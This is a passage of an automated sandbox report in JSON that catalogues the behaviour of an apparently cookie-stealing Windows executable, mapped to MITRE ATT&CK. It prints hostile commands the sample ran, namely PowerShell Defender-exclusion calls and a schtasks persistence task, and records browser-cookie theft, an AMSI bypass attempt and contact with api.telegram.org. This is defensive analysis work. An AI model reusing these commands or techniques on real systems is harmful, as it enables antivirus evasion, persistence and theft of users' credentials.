SID","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00000336)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00003052)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00003052)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00000336)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003052)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003052)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006808)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006808)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetLastWriteTime\" (Indicator: \"GetLastWriteTime\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"GetLastAccessTime\" (Indicator: \"GetLastAccessTime\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetWindowTextLength\" (Indicator: \"GetWindowText\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"GetWindowText\" (Indicator: \"GetWindowText\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"Win32API|System Information Functions|GetWindowsDirectory\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"GetVersionInfo\" (Indicator: \"GetVersion\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" issued a query \"select * from Win32_OperatingSystem\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" issued a query \"$objects\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" issued a query \"SELECT * FROM Win32_Processor\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00003052-00000C17-614662202\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006808-00000C17-614567572","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SCHTASKS.EXE\")\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"$30","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)\" (SID: 2033967, Rev: 2, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00000336)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003052)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006808)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CopyFileW\" to copy C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe to new location %APPDATA%\\JSCrIQqACnlzp.exe (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CopyFileW\" to copy %APPDATA%\\Mozilla\\Firefox\\Profiles\\ywzu7870.default\\cookies.sqlite to new location %APPDATA%\\shvkciql.ott\\Firefox\\Profiles\\ywzu7870.default\\cookies.sqlite (UID: 00000000-00007972)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\shvkciql.ott (UID: 00000000-00007972)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\shvkciql.ott\\Firefox (UID: 00000000-00007972)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\shvkciql.ott\\Firefox\\Profiles (UID: 00000000-00007972)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\shvkciql.ott\\Firefox\\Profiles\\ywzu7870.default (UID: 00000000-00007972)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"C:\\ee57b6fa1e5a3c5ef776b79f32820327bc\" - (UID: 00000000-00000336), \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"%APPDATA%\\JSCr\" - (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\schtasks.exe\" /Create /TN \"Updates\\JSCrIQqACnlzp\" /XML \"%TEMP%\\tmp7CEB.tmp\"\" - (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateProcessA\" with parameter \"C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" - (UID: 00000000-00000336)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133941468293355986.3052.DefaultAppDomain.powershell\" - (UID: 00000000-00003052)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133941468332671258.6808.DefaultAppDomain.powershell\" - (UID: 00000000-00006808)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"api.telegram.org\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"149.154.167.220:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"FGGX.pdb\"\n \"powershell.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$32","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"Win32API|Device Input and Output Functions|DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$33","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"set_UseShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n file/memory contains long string with (Indicator: \"ShellExecute\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$34","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:336:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:336:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:336:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\QXOHTDhqeCqyP\"\n \"Local\\SM0:336:64:WilError_01\"\n \"Local\\SM0:336:168:WilStaging_02\"\n \"SM0:336:64:WilError_01\"\n \"QXOHTDhqeCqyP\"\n \"Local\\ZonesCacheCounterMutex\"\n \"SM0:336:168:WilStaging_02\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\BaseNamedObjects\\SyncRootManager\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:336:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:3052:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3052:168:WilStaging_02\"\n 